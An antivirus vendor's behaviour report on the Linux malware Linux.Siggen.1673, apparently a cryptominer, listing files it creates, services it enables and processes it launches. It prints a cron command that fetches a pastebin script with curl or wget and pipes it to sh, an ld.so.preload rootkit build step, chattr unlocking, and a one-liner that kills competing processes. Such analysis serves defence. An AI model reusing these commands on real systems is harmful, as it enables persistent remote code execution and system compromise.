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Linux.Siggen.1673

Aggiunto al database dei virus Dr.Web: 2019-05-09

La descrizione è stata aggiunta:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /etc/init.d/netdns
  • /etc/init.d/.depend.boot
  • /etc/init.d/.depend.start
  • /etc/init.d/.depend.stop
  • /var/spool/cron/crontabs/root
  • /etc/cron.d/root
Creates or modifies the following symlinks:
  • /etc/rc0.d/K01netdns
  • /etc/rc1.d/K01netdns
  • /etc/rc2.d/S01netdns
  • /etc/rc3.d/S01netdns
  • /etc/rc4.d/S01netdns
  • /etc/rc5.d/S01netdns
  • /etc/rc6.d/K01netdns
Malicious functions:
Launches itself as a daemon
Compiles a program from source codes:
  • gcc /usr/local/lib/libboost_timed.c -Wall -shared -fPIC -ldl -o /usr/local/lib/libboost_timed.so
Manages services:
  • systemctl enable netdns
  • /usr/sbin/update-rc.d netdns defaults
  • systemctl daemon-reload
  • /usr/sbin/update-rc.d netdns enable
Launches processes:
  • <SAMPLE_FULL_PATH> [edac-poller]
  • <SAMPLE_FULL_PATH> [kpsmoused]
  • /bin/bash -c chattr -i /usr/lib/systemd/system/netdns.service
  • chattr -i /usr/lib/systemd/system/netdns.service
  • /bin/bash -c chkconfig --add netdns
  • /bin/bash -c systemctl enable netdns
  • /sbin/insserv netdns
  • /bin/bash -c chattr -i /usr/local/bin/kerberods
  • chattr -i /usr/local/bin/kerberods
  • /bin/bash -c chattr -i /usr/libexec/tmp/kerberods
  • chattr -i /usr/libexec/tmp/kerberods
  • /bin/bash -c chattr -i /usr/bin/kerberods
  • chattr -i /usr/bin/kerberods
  • /bin/bash -c chattr -i /tmp/kerberods
  • chattr -i /tmp/kerberods
  • /bin/bash -c chattr -i /etc/ld.so.preload
  • chattr -i /etc/ld.so.preload
  • /bin/bash -c chattr -i /usr/local/lib/libboost_timed.so
  • chattr -i /usr/local/lib/libboost_timed.so
  • /bin/bash -c chattr -i /usr/local/lib/libboost_timed.c
  • chattr -i /usr/local/lib/libboost_timed.c
  • /bin/bash -c gcc /usr/local/lib/libboost_timed.c -Wall -shared -fPIC -ldl -o /usr/local/lib/libboost_timed.so
  • /bin/bash -c echo \"*/10 * * * * (curl -fsSL https://pastebin.com/raw/LD1QaXpQ||wget -q -O- https://pastebin.com/raw/LD1QaXpQ)|sh\" | crontab -
  • crontab -
  • /bin/bash -c chattr -i /tmp/migrationds
  • chattr -i /tmp/migrationds
  • /bin/bash -c ps aux|grep -v grep|grep -v 'migrationds'|awk '{if($3>=80.0) print $2}'|xargs kill -9
  • grep -v grep
  • ps aux
  • grep -v migrationds
  • xargs kill -9
  • awk {if($3>=80.0) print $2}
  • kill -9
  • /tmp/migrationds
Performs operations with the file system:
Modifies file access rights:
  • /usr/local/lib/libboost_timed.c
  • /usr/local/lib/libboost_timed.so
  • /etc/ld.so.preload
  • /etc/hosts
  • /var/spool/cron/crontabs/tmp.2mJPwH
  • /etc/cron.d/root
  • /var/spool/cron/root
  • /var/spool/cron/crontabs/root
Creates or modifies files:
  • /tmp/.XIMunix
  • /usr/sbin/kerberods
  • /usr/lib/systemd/system/netdns.service
  • /usr/local/lib/libboost_timed.c
  • /tmp/ccSqQjoa.s
  • /tmp/ccn9LdsQ.o
  • /tmp/ccX2XtMx.res
  • /tmp/ccJcUBcB.c
  • /tmp/ccRg1eOi.o
  • /tmp/ccARC7p0.ld
  • /tmp/ccmf6d2H.le
  • /usr/local/lib/libboost_timed.so
  • /etc/ld.so.preload
  • /etc/hosts
  • /var/spool/cron/crontabs/tmp.2mJPwH
  • /var/spool/cron/root
  • /tmp/tmpf03ve97
  • /tmp/tmpf03ve97 (deleted)
  • /tmp/migrationds
  • /tmp/tmpfLMRpoE
  • /tmp/tmpfLMRpoE (deleted)
Deletes files:
  • /usr/local/bin/kerberods
  • /usr/libexec/tmp/kerberods
  • /usr/bin/kerberods
  • /tmp/kerberods
  • /etc/ld.so.preload
  • /usr/local/lib/libboost_timed.so
  • /usr/local/lib/libboost_timed.c
  • /tmp/ccARC7p0.ld
  • /tmp/ccmf6d2H.le
  • /tmp/ccJcUBcB.c
  • /tmp/ccRg1eOi.o
  • /tmp/ccX2XtMx.res
  • /tmp/ccn9LdsQ.o
  • /tmp/ccSqQjoa.s
  • /tmp/migrationds
  • /tmp/tmpf03ve97
  • /tmp/tmpfLMRpoE
Network activity:
Establishes connection:
  • <LOCAL_DNS_SERVER>
  • 10#.#0.208.21:9
  • 10#.#0.209.21:9
  • [2######00:10::6814:d015]:9
  • [2######00:10::6814:d115]:9
  • 10#.##.208.21:443
  • 10#.##.209.21:443
  • 10#.###.53.213:51640
DNS ASK:
  • pa###bin.com
  • sy###mten.org
Sends data to the following servers:
  • 10#.##.208.21:443
  • 10#.##.209.21:443
  • 10#.###.53.213:51640
Receives data from the following servers:
  • 10#.##.208.21:443
  • 10#.##.209.21:443
  • 10#.###.53.213:51640
Other:
Collects CPU information
Collects RAM information
Collects information about network activity

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